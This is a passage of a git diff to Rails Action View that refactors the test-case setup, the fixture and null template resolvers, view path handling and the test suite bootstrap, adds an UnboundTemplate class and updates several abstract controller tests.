           helper(helper_class) if helper_class
           include _helpers
         end
       end
 
+      included do
+        class_attribute :content_class, instance_accessor: false, default: RenderedViewContent
+
+        setup :setup_with_controller
+
+        register_parser :html, -> rendered { Rails::Dom::Testing.html_document_fragment.parse(rendered) }
+        register_parser :json, -> rendered { JSON.parse(rendered, object_class: ActiveSupport::HashWithIndifferentAccess) }
+
+        ActiveSupport.run_load_hooks(:action_view_test_case, self)
+
+        helper do
+          def protect_against_forgery?
+            false
+          end
+
+          def _test_case
+            controller._test_case
+          end
+        end
+      end
+
       def setup_with_controller
-        @controller = ActionView::TestCase::TestController.new
+        controller_class = Class.new(ActionView::TestCase::TestController)
+        @controller = controller_class.new
         @request = @controller.request
-        # empty string ensures buffer has UTF-8 encoding as
-        # new without arguments returns ASCII-8BIT encoded buffer like String#new
-        @output_buffer = ActiveSupport::SafeBuffer.new ""
-        @rendered = ""
+        @view_flow = ActionView::OutputFlow.new
+        @output_buffer = ActionView::OutputBuffer.new
+        @rendered = self.class.content_class.new(+"")
 
-        make_test_case_available_to_view!
-        say_no_to_protect_against_forgery!
+        test_case_instance = self
+        controller_class.define_method(:_test_case) { test_case_instance }
       end
 
       def config
@@ -124,7 +292,13 @@ def rendered_views
         @_rendered_views ||= RenderedViewsCollection.new
       end
 
-      # Need to experiment if this priority is the best one: rendered => output_buffer
+      def _routes
+        @controller._routes if @controller.respond_to?(:_routes)
+      end
+
+      class RenderedViewContent < String # :nodoc:
+      end
+
       class RenderedViewsCollection
         def initialize
           @rendered_views ||= Hash.new { |hash, key| hash[key] = [] }
@@ -150,35 +324,10 @@ def view_rendered?(view, expected_locals)
         end
       end
 
-      included do
-        setup :setup_with_controller
-        ActiveSupport.run_load_hooks(:action_view_test_case, self)
-      end
-
     private
-
       # Need to experiment if this priority is the best one: rendered => output_buffer
       def document_root_element
-        Nokogiri::HTML::Document.parse(@rendered.blank? ? @output_buffer : @rendered).root
-      end
-
-      def say_no_to_protect_against_forgery!
-        _helpers.module_eval do
-          remove_possible_method :protect_against_forgery?
-          def protect_against_forgery?
-            false
-          end
-        end
-      end
-
-      def make_test_case_available_to_view!
-        test_case_instance = self
-        _helpers.module_eval do
-          unless private_method_defined?(:_test_case)
-            define_method(:_test_case) { test_case_instance }
-            private :_test_case
-          end
-        end
+        Rails::Dom::Testing.html_document.parse(@rendered.blank? ? @output_buffer.to_str : @rendered).root
       end
 
       module Locals
@@ -224,6 +373,10 @@ def view
         :@_result,
         :@_routes,
         :@controller,
+        :@_controller,
+        :@_request,
+        :@_config,
+        :@_default_form_builder,
         :@_layouts,
         :@_files,
         :@_rendered_views,
@@ -240,8 +393,9 @@ def view
         :@test_passed,
         :@view,
         :@view_context_class,
+        :@view_flow,
         :@_subscribers,
-        :@html_document
+        :@html_document,
       ]
 
       def _user_defined_ivars
@@ -258,25 +412,33 @@ def view_assigns
         end]
       end
 
-      def _routes
-        @controller._routes if @controller.respond_to?(:_routes)
-      end
-
-      def method_missing(selector, *args)
+      def method_missing(selector, ...)
         begin
           routes = @controller.respond_to?(:_routes) && @controller._routes
         rescue
-          # Dont call routes, if there is an error on _routes call
+          # Don't call routes, if there is an error on _routes call
         end
 
         if routes &&
            (routes.named_routes.route_defined?(selector) ||
              routes.mounted_helpers.method_defined?(selector))
-          @controller.__send__(selector, *args)
+          @controller.__send__(selector, ...)
         else
           super
         end
       end
+
+      def respond_to_missing?(name, include_private = false)
+        begin
+          routes = @controller.respond_to?(:_routes) && @controller._routes
+        rescue
+          # Don't call routes, if there is an error on _routes call
+        end
+
+        routes &&
+          (routes.named_routes.route_defined?(name) ||
+           routes.mounted_helpers.method_defined?(name))
+      end
     end
 
     include Behavior
diff --git a/actionview/lib/action_view/testing/resolvers.rb b/actionview/lib/action_view/testing/resolvers.rb
index 3188526b6386d..17a66b02fa1b8 100644
--- a/actionview/lib/action_view/testing/resolvers.rb
+++ b/actionview/lib/action_view/testing/resolvers.rb
@@ -1,16 +1,21 @@
+# frozen_string_literal: true
+
 require "action_view/template/resolver"
 
-module ActionView #:nodoc:
+module ActionView # :nodoc:
   # Use FixtureResolver in your tests to simulate the presence of files on the
   # file system. This is used internally by Rails' own test suite, and is
   # useful for testing extensions that have no way of knowing what the file
   # system will look like at runtime.
-  class FixtureResolver < PathResolver
-    attr_reader :hash
-
-    def initialize(hash = {}, pattern = nil)
-      super(pattern)
+  class FixtureResolver < FileSystemResolver
+    def initialize(hash = {})
+      super("")
       @hash = hash
+      @path = ""
+    end
+
+    def data
+      @hash
     end
 
     def to_s
@@ -18,35 +23,22 @@ def to_s
     end
 
     private
-
-      def query(path, exts, _, _)
-        query = ""
-        EXTENSIONS.each_key do |ext|
-          query << "(" << exts[ext].map { |e| e && Regexp.escape(".#{e}") }.join("|") << "|)"
-        end
-        query = /^(#{Regexp.escape(path)})#{query}$/
-
-        templates = []
-        @hash.each do |_path, array|
-          source, updated_at = array
-          next unless query.match?(_path)
-          handler, format, variant = extract_handler_and_format_and_variant(_path)
-          templates << Template.new(source, _path, handler,
-            virtual_path: path.virtual,
-            format: format,
-            variant: variant,
-            updated_at: updated_at
-          )
+      def template_glob(glob)
+        @hash.keys.filter_map do |path|
+          "/#{path}" if File.fnmatch(glob, path)
         end
+      end
 
-        templates.sort_by { |t| -t.identifier.match(/^#{query}$/).captures.reject(&:blank?).size }
+      def source_for_template(template)
+        @hash[template.from(1)]
       end
   end
 
-  class NullResolver < PathResolver
-    def query(path, exts, _, _)
-      handler, format, variant = extract_handler_and_format_and_variant(path)
-      [ActionView::Template.new("Template generated by Null Resolver", path.virtual, handler, virtual_path: path.virtual, format: format, variant: variant)]
+  class NullResolver < Resolver
+    def find_templates(name, prefix, partial, details, locals = [])
+      path = TemplatePath.build(name, prefix, partial)
+      handler = ActionView::Template::Handlers::Raw
+      [ActionView::Template.new("Template generated by Null Resolver", path.virtual, handler, virtual_path: path.virtual, format: nil, variant: nil, locals: locals)]
     end
   end
 end
diff --git a/actionview/lib/action_view/unbound_template.rb b/actionview/lib/action_view/unbound_template.rb
new file mode 100644
index 0000000000000..b9e28e2e7df71
--- /dev/null
+++ b/actionview/lib/action_view/unbound_template.rb
@@ -0,0 +1,67 @@
+# frozen_string_literal: true
+
+require "concurrent/map"
+
+module ActionView
+  class UnboundTemplate
+    attr_reader :virtual_path, :details
+    delegate :locale, :format, :variant, :handler, to: :@details
+
+    def initialize(source, identifier, details:, virtual_path:)
+      @source = source
+      @identifier = identifier
+      @details = details
+      @virtual_path = virtual_path
+
+      @templates = Concurrent::Map.new(initial_capacity: 2)
+      @write_lock = Mutex.new
+    end
+
+    def bind_locals(locals)
+      unless template = @templates[locals]
+        @write_lock.synchronize do
+          normalized_locals = normalize_locals(locals)
+
+          # We need ||=, both to dedup on the normalized locals and to check
+          # while holding the lock.
+          template = (@templates[normalized_locals] ||= build_template(normalized_locals))
+
+          if template.strict_locals?
+            # Under strict locals, we only need one template.
+            # This replaces the @templates Concurrent::Map with a hash which
+            # returns this template for every key.
+            @templates = Hash.new(template).freeze
+          else
+            # This may have already been assigned, but we've already de-dup'd so
+            # reassignment is fine.
+            @templates[locals.dup] = template
+          end
+        end
+      end
+      template
+    end
+
+    def built_templates # :nodoc:
+      @templates.values
+    end
+
+    private
+      def build_template(locals)
+        Template.new(
+          @source,
+          @identifier,
+          details.handler_class,
+
+          format: details.format_or_default,
+          variant: variant&.to_s,
+          virtual_path: @virtual_path,
+
+          locals: locals.map(&:to_s)
+        )
+      end
+
+      def normalize_locals(locals)
+        locals.map(&:to_sym).sort!.freeze
+      end
+  end
+end
diff --git a/actionview/lib/action_view/version.rb b/actionview/lib/action_view/version.rb
index 315404864de14..359067e5ba59f 100644
--- a/actionview/lib/action_view/version.rb
+++ b/actionview/lib/action_view/version.rb
@@ -1,7 +1,9 @@
+# frozen_string_literal: true
+
 require_relative "gem_version"
 
 module ActionView
-  # Returns the version of the currently loaded ActionView as a <tt>Gem::Version</tt>
+  # Returns the currently loaded version of Action View as a +Gem::Version+.
   def self.version
     gem_version
   end
diff --git a/actionview/lib/action_view/view_paths.rb b/actionview/lib/action_view/view_paths.rb
index f0fe6831fabf6..ba6ec262b6618 100644
--- a/actionview/lib/action_view/view_paths.rb
+++ b/actionview/lib/action_view/view_paths.rb
@@ -1,17 +1,25 @@
+# frozen_string_literal: true
+
 module ActionView
   module ViewPaths
     extend ActiveSupport::Concern
 
     included do
-      class_attribute :_view_paths
-      self._view_paths = ActionView::PathSet.new
-      _view_paths.freeze
+      ActionView::PathRegistry.set_view_paths(self, ActionView::PathSet.new.freeze)
     end
 
     delegate :template_exists?, :any_templates?, :view_paths, :formats, :formats=,
              :locale, :locale=, to: :lookup_context
 
     module ClassMethods
+      def _view_paths
+        ActionView::PathRegistry.get_view_paths(self)
+      end
+
+      def _view_paths=(paths)
+        ActionView::PathRegistry.set_view_paths(self, paths)
+      end
+
       def _prefixes # :nodoc:
         @_prefixes ||= begin
           return local_prefixes if superclass.abstract?
@@ -20,8 +28,48 @@ def _prefixes # :nodoc:
         end
       end
 
-      private
+      def _build_view_paths(paths) # :nodoc:
+        return paths if ActionView::PathSet === paths
+
+        paths = ActionView::PathRegistry.cast_file_system_resolvers(paths)
+        ActionView::PathSet.new(paths)
+      end
 
+      # Append a path to the list of view paths for this controller.
+      #
+      # ==== Parameters
+      # * <tt>path</tt> - If a String is provided, it gets converted into
+      #   the default view path. You may also provide a custom view path
+      #   (see ActionView::PathSet for more information)
+      def append_view_path(path)
+        self._view_paths = view_paths + _build_view_paths(path)
+      end
+
+      # Prepend a path to the list of view paths for this controller.
+      #
+      # ==== Parameters
+      # * <tt>path</tt> - If a String is provided, it gets converted into
+      #   the default view path. You may also provide a custom view path
+      #   (see ActionView::PathSet for more information)
+      def prepend_view_path(path)
+        self._view_paths = _build_view_paths(path) + view_paths
+      end
+
+      # A list of all of the default view paths for this controller.
+      def view_paths
+        _view_paths
+      end
+
+      # Set the view paths.
+      #
+      # ==== Parameters
+      # * <tt>paths</tt> - If a PathSet is provided, use that;
+      #   otherwise, process the parameter into a PathSet.
+      def view_paths=(paths)
+        self._view_paths = _build_view_paths(paths)
+      end
+
+      private
         # Override this method in your controller if you want to change paths prefixes for finding views.
         # Prefixes defined here will still be added to parents' <tt>._prefixes</tt>.
         def local_prefixes
@@ -34,9 +82,9 @@ def _prefixes # :nodoc:
       self.class._prefixes
     end
 
-    # <tt>LookupContext</tt> is the object responsible for holding all
+    # LookupContext is the object responsible for holding all
     # information required for looking up templates, i.e. view paths and
-    # details. Check <tt>ActionView::LookupContext</tt> for more information.
+    # details. Check ActionView::LookupContext for more information.
     def lookup_context
       @_lookup_context ||=
         ActionView::LookupContext.new(self.class._view_paths, details_for_lookup, _prefixes)
@@ -46,60 +94,24 @@ def details_for_lookup
       {}
     end
 
-    # Append a path to the list of view paths for the current <tt>LookupContext</tt>.
+    # Append a path to the list of view paths for the current LookupContext.
     #
     # ==== Parameters
     # * <tt>path</tt> - If a String is provided, it gets converted into
     #   the default view path. You may also provide a custom view path
     #   (see ActionView::PathSet for more information)
     def append_view_path(path)
-      lookup_context.view_paths.push(*path)
+      lookup_context.append_view_paths(self.class._build_view_paths(path))
     end
 
-    # Prepend a path to the list of view paths for the current <tt>LookupContext</tt>.
+    # Prepend a path to the list of view paths for the current LookupContext.
     #
     # ==== Parameters
     # * <tt>path</tt> - If a String is provided, it gets converted into
     #   the default view path. You may also provide a custom view path
     #   (see ActionView::PathSet for more information)
     def prepend_view_path(path)
-      lookup_context.view_paths.unshift(*path)
-    end
-
-    module ClassMethods
-      # Append a path to the list of view paths for this controller.
-      #
-      # ==== Parameters
-      # * <tt>path</tt> - If a String is provided, it gets converted into
-      #   the default view path. You may also provide a custom view path
-      #   (see ActionView::PathSet for more information)
-      def append_view_path(path)
-        self._view_paths = view_paths + Array(path)
-      end
-
-      # Prepend a path to the list of view paths for this controller.
-      #
-      # ==== Parameters
-      # * <tt>path</tt> - If a String is provided, it gets converted into
-      #   the default view path. You may also provide a custom view path
-      #   (see ActionView::PathSet for more information)
-      def prepend_view_path(path)
-        self._view_paths = ActionView::PathSet.new(Array(path) + view_paths)
-      end
-
-      # A list of all of the default view paths for this controller.
-      def view_paths
-        _view_paths
-      end
-
-      # Set the view paths.
-      #
-      # ==== Parameters
-      # * <tt>paths</tt> - If a PathSet is provided, use that;
-      #   otherwise, process the parameter into a PathSet.
-      def view_paths=(paths)
-        self._view_paths = ActionView::PathSet.new(Array(paths))
-      end
+      lookup_context.prepend_view_paths(self.class._build_view_paths(path))
     end
   end
 end
diff --git a/actionview/package.json b/actionview/package.json
deleted file mode 100644
index ec3306c299a30..0000000000000
--- a/actionview/package.json
+++ /dev/null
@@ -1,36 +0,0 @@
-{
-  "name": "rails-ujs",
-  "version": "0.0.1",
-  "description": "Ruby on Rails unobtrusive scripting adapter",
-  "main": "lib/assets/compiled/rails-ujs.js",
-  "files": [
-    "lib/assets/compiled/*.js"
-  ],
-  "directories": {
-    "test": "test"
-  },
-  "scripts": {
-    "build": "bundle exec blade build",
-    "test": "echo \"See the README: https://github.com/rails/rails-ujs#how-to-run-tests\" && exit 1",
-    "lint": "coffeelint src && eslint test/public/test",
-  },
-  "repository": {
-    "type": "git",
-    "url": "rails/rails"
-  },
-  "contributors": [
-    "Stephen St. Martin",
-    "Steve Schwartz",
-    "Dangyi Liu",
-    "All contributors"
-  ],
-  "license": "MIT",
-  "bugs": {
-    "url": "https://github.com/rails/rails/issues"
-  },
-  "homepage": "http://rubyonrails.org/",
-  "devDependencies": {
-    "coffeelint": "^1.15.7",
-    "eslint": "^2.13.1"
-  }
-}
diff --git a/actionview/test/abstract_unit.rb b/actionview/test/abstract_unit.rb
index dde66a7ba0d09..b535dac6d6d9a 100644
--- a/actionview/test/abstract_unit.rb
+++ b/actionview/test/abstract_unit.rb
@@ -1,8 +1,10 @@
-$:.unshift(File.dirname(__FILE__) + "/lib")
-$:.unshift(File.dirname(__FILE__) + "/fixtures/helpers")
-$:.unshift(File.dirname(__FILE__) + "/fixtures/alternate_helpers")
+# frozen_string_literal: true
 
-ENV["TMPDIR"] = File.join(File.dirname(__FILE__), "tmp")
+require_relative "../../tools/strict_warnings"
+
+$:.unshift File.expand_path("lib", __dir__)
+
+ENV["TMPDIR"] = File.expand_path("tmp", __dir__)
 
 require "active_support/core_ext/kernel/reporting"
 
@@ -20,41 +22,39 @@
 require "action_view/testing/resolvers"
 require "active_support/dependencies"
 require "active_model"
-require "active_record"
-
-require "pp" # require 'pp' early to prevent hidden_methods from not picking up the pretty-print methods until too late
 
-module Rails
-  class << self
-    def env
-      @_env ||= ActiveSupport::StringInquirer.new(ENV["RAILS_ENV"] || ENV["RACK_ENV"] || "test")
+module ActionViewTestSuiteUtils
+  def self.require_helpers(helpers_dirs)
+    Array(helpers_dirs).each do |helpers_dir|
+      Dir.glob("#{helpers_dir}/**/*_helper.rb") do |helper_file|
+        require helper_file
+      end
     end
   end
 end
 
-ActiveSupport::Dependencies.hook!
+ActionViewTestSuiteUtils.require_helpers("#{__dir__}/fixtures/helpers")
+ActionViewTestSuiteUtils.require_helpers("#{__dir__}/fixtures/alternate_helpers")
 
 Thread.abort_on_exception = true
 
 # Show backtraces for deprecated behavior for quicker cleanup.
-ActiveSupport::Deprecation.debug = true
+ActionView.deprecator.debug = true
 
 # Disable available locale checks to avoid warnings running the test suite.
 I18n.enforce_available_locales = false
 
-# Register danish language for testing
-I18n.backend.store_translations "da", {}
-I18n.backend.store_translations "pt-BR", {}
 ORIGINAL_LOCALES = I18n.available_locales.map(&:to_s).sort
 
-FIXTURE_LOAD_PATH = File.join(File.dirname(__FILE__), "fixtures")
+FIXTURE_LOAD_PATH = File.expand_path("fixtures", __dir__)
 
 module RenderERBUtils
   def view
     @view ||= begin
       path = ActionView::FileSystemResolver.new(FIXTURE_LOAD_PATH)
       view_paths = ActionView::PathSet.new([path])
-      ActionView::Base.new(view_paths)
+      view = ActionView::Base.with_empty_template_cache
+      view.with_view_paths(view_paths)
     end
   end
 
@@ -64,76 +64,21 @@ def render_erb(string)
     template = ActionView::Template.new(
       string.strip,
       "test template",
-      ActionView::Template::Handlers::ERB,
-      {})
+      ActionView::Template.handler_for_extension(:erb),
+      format: :html, locals: [])
 
-    template.render(self, {}).strip
-  end
-end
-
-SharedTestRoutes = ActionDispatch::Routing::RouteSet.new
-
-module ActionDispatch
-  module SharedRoutes
-    def before_setup
-      @routes = SharedTestRoutes
-      super
-    end
-  end
-
-  # Hold off drawing routes until all the possible controller classes
-  # have been loaded.
-  module DrawOnce
-    class << self
-      attr_accessor :drew
-    end
-    self.drew = false
-
-    def before_setup
-      super
-      return if DrawOnce.drew
-
-      ActiveSupport::Deprecation.silence do
-        SharedTestRoutes.draw do
-          get ":controller(/:action)"
-        end
-
-        ActionDispatch::IntegrationTest.app.routes.draw do
-          get ":controller(/:action)"
-        end
-      end
-
-      DrawOnce.drew = true
-    end
-  end
-end
-
-module ActiveSupport
-  class TestCase
-    include ActionDispatch::DrawOnce
-  end
-end
-
-class RoutedRackApp
-  attr_reader :routes
-
-  def initialize(routes, &blk)
-    @routes = routes
-    @stack = ActionDispatch::MiddlewareStack.new(&blk).build(@routes)
-  end
-
-  def call(env)
-    @stack.call(env)
+    view = ActionView::Base.with_empty_template_cache
+    template.render(view.empty, {}).strip
   end
 end
 
 class BasicController
-  attr_accessor :request
+  attr_accessor :request, :response
 
   def config
     @config ||= ActiveSupport::InheritableOptions.new(ActionController::Base.config).tap do |config|
       # VIEW TODO: View tests should not require a controller
-      public_dir = File.expand_path("../fixtures/public", __FILE__)
+      public_dir = File.expand_path("fixtures/public", __dir__)
       config.assets_dir = public_dir
       config.javascripts_dir = "#{public_dir}/javascripts"
       config.stylesheets_dir = "#{public_dir}/stylesheets"
@@ -144,70 +89,13 @@ def config
 end
 
 class ActionDispatch::IntegrationTest < ActiveSupport::TestCase
-  include ActionDispatch::SharedRoutes
-
-  def self.build_app(routes = nil)
-    RoutedRackApp.new(routes || ActionDispatch::Routing::RouteSet.new) do |middleware|
-      middleware.use ActionDispatch::ShowExceptions, ActionDispatch::PublicExceptions.new("#{FIXTURE_LOAD_PATH}/public")
-      middleware.use ActionDispatch::DebugExceptions
-      middleware.use ActionDispatch::Callbacks
-      middleware.use ActionDispatch::Cookies
-      middleware.use ActionDispatch::Flash
-      middleware.use Rack::Head
-      yield(middleware) if block_given?
-    end
-  end
-
-  self.app = build_app
-
-  # Stub Rails dispatcher so it does not get controller references and
-  # simply return the controller#action as Rack::Body.
-  class StubDispatcher < ::ActionDispatch::Routing::RouteSet::Dispatcher
-    private
-      def controller_reference(controller_param)
-        controller_param
-      end
-
-      def dispatch(controller, action, env)
-        [200, { "Content-Type" => "text/html" }, ["#{controller}##{action}"]]
-      end
-  end
-
-  def self.stub_controllers
-    old_dispatcher = ActionDispatch::Routing::RouteSet::Dispatcher
-    ActionDispatch::Routing::RouteSet.module_eval { remove_const :Dispatcher }
-    ActionDispatch::Routing::RouteSet.module_eval { const_set :Dispatcher, StubDispatcher }
-    yield ActionDispatch::Routing::RouteSet.new
-  ensure
-    ActionDispatch::Routing::RouteSet.module_eval { remove_const :Dispatcher }
-    ActionDispatch::Routing::RouteSet.module_eval { const_set :Dispatcher, old_dispatcher }
-  end
-
-  def with_routing(&block)
-    temporary_routes = ActionDispatch::Routing::RouteSet.new
-    old_app, self.class.app = self.class.app, self.class.build_app(temporary_routes)
-    old_routes = SharedTestRoutes
-    silence_warnings { Object.const_set(:SharedTestRoutes, temporary_routes) }
-
-    yield temporary_routes
-  ensure
-    self.class.app = old_app
-    silence_warnings { Object.const_set(:SharedTestRoutes, old_routes) }
-  end
-
-  def with_autoload_path(path)
-    path = File.join(File.dirname(__FILE__), "fixtures", path)
-    if ActiveSupport::Dependencies.autoload_paths.include?(path)
-      yield
-    else
-      begin
-        ActiveSupport::Dependencies.autoload_paths << path
-        yield
-      ensure
-        ActiveSupport::Dependencies.autoload_paths.reject! { |p| p == path }
-        ActiveSupport::Dependencies.clear
-      end
-    end
+  self.app = ActionDispatch::MiddlewareStack.new do |middleware|
+    middleware.use ActionDispatch::ShowExceptions, ActionDispatch::PublicExceptions.new("#{FIXTURE_LOAD_PATH}/public")
+    middleware.use ActionDispatch::DebugExceptions
+    middleware.use ActionDispatch::Callbacks
+    middleware.use ActionDispatch::Cookies
+    middleware.use ActionDispatch::Flash
+    middleware.use Rack::Head
   end
 end
 
@@ -215,48 +103,27 @@ def with_autoload_path(path)
 
 module ActionController
   class Base
-    # This stub emulates the Railtie including the URL helpers from a Rails application
-    include SharedTestRoutes.url_helpers
-    include SharedTestRoutes.mounted_helpers
-
     self.view_paths = FIXTURE_LOAD_PATH
 
     def self.test_routes(&block)
       routes = ActionDispatch::Routing::RouteSet.new
       routes.draw(&block)
       include routes.url_helpers
+      routes
     end
   end
 
   class TestCase
     include ActionDispatch::TestProcess
-    include ActionDispatch::SharedRoutes
-  end
-end
 
-module ActionView
-  class TestCase
-    # Must repeat the setup because AV::TestCase is a duplication
-    # of AC::TestCase
-    include ActionDispatch::SharedRoutes
-  end
-end
-
-class Workshop
-  extend ActiveModel::Naming
-  include ActiveModel::Conversion
-  attr_accessor :id
-
-  def initialize(id)
-    @id = id
-  end
-
-  def persisted?
-    id.present?
-  end
+    def self.with_routes(&block)
+      setup do
+        @routes = ActionDispatch::Routing::RouteSet.new
+        @routes.draw(&block)
 
-  def to_s
-    id.to_s
+        @controller.singleton_class.include @routes.url_helpers if @controller
+      end
+    end
   end
 end
 
@@ -272,14 +139,13 @@ def stderr_logger
 end
 
 class ActiveSupport::TestCase
-  include ActiveSupport::Testing::MethodCallAssertions
-
-  # Skips the current run on Rubinius using Minitest::Assertions#skip
-  private def rubinius_skip(message = "")
-    skip message if RUBY_ENGINE == "rbx"
-  end
-  # Skips the current run on JRuby using Minitest::Assertions#skip
-  private def jruby_skip(message = "")
-    skip message if defined?(JRUBY_VERSION)
+  if Process.respond_to?(:fork) && !Gem.win_platform?
+    parallelize
+  else
+    parallelize(with: :threads)
   end
+
+  include ActiveSupport::Testing::MethodCallAssertions
 end
+
+require_relative "../../tools/test_common"
diff --git a/actionview/test/actionpack/abstract/abstract_controller_test.rb b/actionview/test/actionpack/abstract/abstract_controller_test.rb
index a2cd3deb580db..497af38dccd2a 100644
--- a/actionview/test/actionpack/abstract/abstract_controller_test.rb
+++ b/actionview/test/actionpack/abstract/abstract_controller_test.rb
@@ -1,5 +1,6 @@
+# frozen_string_literal: true
+
 require "abstract_unit"
-require "set"
 
 module AbstractController
   module Testing
@@ -42,7 +43,7 @@ def render(options = {})
         super
       end
 
-      append_view_path File.expand_path(File.join(File.dirname(__FILE__), "views"))
+      append_view_path File.expand_path("views", __dir__)
     end
 
     class Me2 < RenderingController
@@ -50,6 +51,10 @@ def index
         render "index.erb"
       end
 
+      def with_final_newline
+        render "with_final_newline.erb"
+      end
+
       def index_to_string
         self.response_body = render_to_string "index"
       end
@@ -82,6 +87,14 @@ def setup
         assert_equal "Hello from index.erb", @controller.response_body
       end
 
+      test "stripping final newline works" do
+        ActionView::Template::Handlers::ERB.strip_trailing_newlines = true
+        @controller.process(:with_final_newline)
+        assert_equal "Hello from with_final_newline.erb", @controller.response_body
+      ensure
+        ActionView::Template::Handlers::ERB.strip_trailing_newlines = false
+      end
+
       test "render_to_string works with a String as an argument" do
         @controller.process(:index_to_string)
         assert_equal "Hello from index.erb", @controller.response_body
@@ -152,7 +165,7 @@ def setup
     class OverridingLocalPrefixes < AbstractController::Base
       include AbstractController::Rendering
       include ActionView::Rendering
-      append_view_path File.expand_path(File.join(File.dirname(__FILE__), "views"))
+      append_view_path File.expand_path("views", __dir__)
 
       def index
         render
@@ -189,16 +202,15 @@ class WithLayouts < PrefixedViews
 
       private
         def self.layout(formats)
-          find_template(name.underscore, { formats: formats }, _prefixes: ["layouts"])
+          find_template(name.underscore, { formats: formats }, { _prefixes: ["layouts"] })
         rescue ActionView::MissingTemplate
           begin
-            find_template("application", { formats: formats }, _prefixes: ["layouts"])
+            find_template("application", { formats: formats }, { _prefixes: ["layouts"] })
           rescue ActionView::MissingTemplate
           end
         end
 
         def render_to_body(options = {})
-          options[:_layout] = options[:layout] || _default_layout({})
           super
         end
     end
@@ -227,20 +239,20 @@ def index() self.response_body = "success" end
     end
 
     class ActionMissingRespondToActionController < AbstractController::Base
-    # No actions
-    private
-      def action_missing(action_name)
-        self.response_body = "success"
-      end
+      # No actions
+
+      private
+        def action_missing(action_name)
+          self.response_body = "success"
+        end
     end
 
-    class RespondToActionController < AbstractController::Base;
+    class RespondToActionController < AbstractController::Base
       def index() self.response_body = "success" end
 
       def fail()  self.response_body = "fail"    end
 
     private
-
       def method_for_action(action_name)
         action_name.to_s != "fail" && action_name
       end
diff --git a/actionview/test/actionpack/abstract/helper_test.rb b/actionview/test/actionpack/abstract/helper_test.rb
index 83237518d7b39..4fbaca56d4a6c 100644
--- a/actionview/test/actionpack/abstract/helper_test.rb
+++ b/actionview/test/actionpack/abstract/helper_test.rb
@@ -1,6 +1,8 @@
+# frozen_string_literal: true
+
 require "abstract_unit"
 
-ActionController::Base.helpers_path = File.expand_path("../../../fixtures/helpers", __FILE__)
+ActionController::Base.helpers_path = File.expand_path("../../fixtures/helpers", __dir__)
 
 module AbstractController
   module Testing
@@ -48,14 +50,6 @@ class AbstractHelpersBlock < ControllerWithHelpers
       end
     end
 
-    class AbstractInvalidHelpers < AbstractHelpers
-      include ActionController::Helpers
-
-      path = File.expand_path("../../../fixtures/helpers_missing", __FILE__)
-      $:.unshift(path)
-      self.helpers_path = path
-    end
-
     class TestHelpers < ActiveSupport::TestCase
       def setup
         @controller = AbstractHelpers.new
@@ -77,10 +71,8 @@ def test_helpers_with_symbol
       end
 
       def test_declare_missing_helper
-        e = assert_raise AbstractController::Helpers::MissingHelperError do
-          AbstractHelpers.helper :missing
-        end
-        assert_equal "helpers/missing_helper.rb", e.path
+        e = assert_raise(NameError) { AbstractHelpers.helper :missing }
+        assert_includes e.message, "uninitialized constant MissingHelper"
       end
 
       def test_helpers_with_module_through_block
@@ -107,19 +99,9 @@ def test_includes_controller_default_helper
     end
 
     class InvalidHelpersTest < ActiveSupport::TestCase
-      def test_controller_raise_error_about_real_require_problem
-        e = assert_raise(LoadError) { AbstractInvalidHelpers.helper(:invalid_require) }
-        assert_equal "No such file to load -- very_invalid_file_name.rb", e.message
-      end
-
       def test_controller_raise_error_about_missing_helper
-        e = assert_raise(AbstractController::Helpers::MissingHelperError) { AbstractInvalidHelpers.helper(:missing) }
-        assert_equal "Missing helper file helpers/missing_helper.rb", e.message
-      end
-
-      def test_missing_helper_error_has_the_right_path
-        e = assert_raise(AbstractController::Helpers::MissingHelperError) { AbstractInvalidHelpers.helper(:missing) }
-        assert_equal "helpers/missing_helper.rb", e.path
+        e = assert_raise(NameError) { AbstractHelpers.helper(:missing) }
+        assert_includes e.message, "uninitialized constant MissingHelper"
       end
     end
   end
diff --git a/actionview/test/actionpack/abstract/layouts_test.rb b/actionview/test/actionpack/abstract/layouts_test.rb
index 4ece992597d2d..5781524890f37 100644
--- a/actionview/test/actionpack/abstract/layouts_test.rb
+++ b/actionview/test/actionpack/abstract/layouts_test.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 require "abstract_unit"
 
 module AbstractControllerTests
@@ -13,7 +15,7 @@ class Base < AbstractController::Base
       self.view_paths = [ActionView::FixtureResolver.new(
         "some/template.erb"             => "hello <%= foo %> bar",
         "layouts/hello.erb"             => "With String <%= yield %>",
-        "layouts/hello_locals.erb"      => "With String <%= yield %>",
+        "layouts/hello_locals.erb"      => "With String <%= foo %> <%= yield %>",
         "layouts/hello_override.erb"    => "With Override <%= yield %>",
         "layouts/overwrite.erb"         => "Overwrite <%= yield %>",
         "layouts/with_false_layout.erb" => "False Layout <%= yield %>",
@@ -39,6 +41,10 @@ class WithStringLocals < Base
       def index
         render template: "some/template", locals: { foo: "less than 3" }
       end
+
+      def overwrite_with_default
+        render layout: :default, template: "some/template", locals: { foo: "less than 3" }
+      end
     end
 
     class WithString < Base
@@ -138,6 +144,7 @@ class WithSymbol < Base
       def index
         render template: ActionView::Template::Text.new("Hello symbol!")
       end
+
     private
       def hello
         "overwrite"
@@ -276,29 +283,16 @@ class TestBase < ActiveSupport::TestCase
         assert_equal "Hello blank!", controller.response_body
       end
 
-      test "with locals" do
+      test "when layout is specified as a string, render with locals" do
         controller = WithStringLocals.new
         controller.process(:index)
-        assert_equal "With String hello less than 3 bar", controller.response_body
+        assert_equal "With String less than 3 hello less than 3 bar", controller.response_body
       end
 
-      test "cache should not grow when locals change for a string template" do
-        cache = WithString.view_paths.paths.first.instance_variable_get(:@cache)
-
-        controller = WithString.new
-        controller.process(:index) # heat the cache
-
-        size = cache.size
-
-        10.times do |x|
-          controller = WithString.new
-          controller.define_singleton_method :index do
-            render template: ActionView::Template::Text.new("Hello string!"), locals: { :"x#{x}" => :omg }
-          end
-          controller.process(:index)
-        end
-
-        assert_equal size, cache.size
+      test "when layout is specified as a string, overwriting with :default, render with locals" do
+        controller = WithStringLocals.new
+        controller.process(:overwrite_with_default)
+        assert_equal "With String less than 3 hello less than 3 bar", controller.response_body
       end
 
       test "when layout is specified as a string, render with that layout" do
diff --git a/actionview/test/actionpack/abstract/render_test.rb b/actionview/test/actionpack/abstract/render_test.rb
index 8b0c54fb77eae..47397df6c0a2a 100644
--- a/actionview/test/actionpack/abstract/render_test.rb
+++ b/actionview/test/actionpack/abstract/render_test.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 require "abstract_unit"
 
 module AbstractController
@@ -16,17 +18,12 @@ def _prefixes
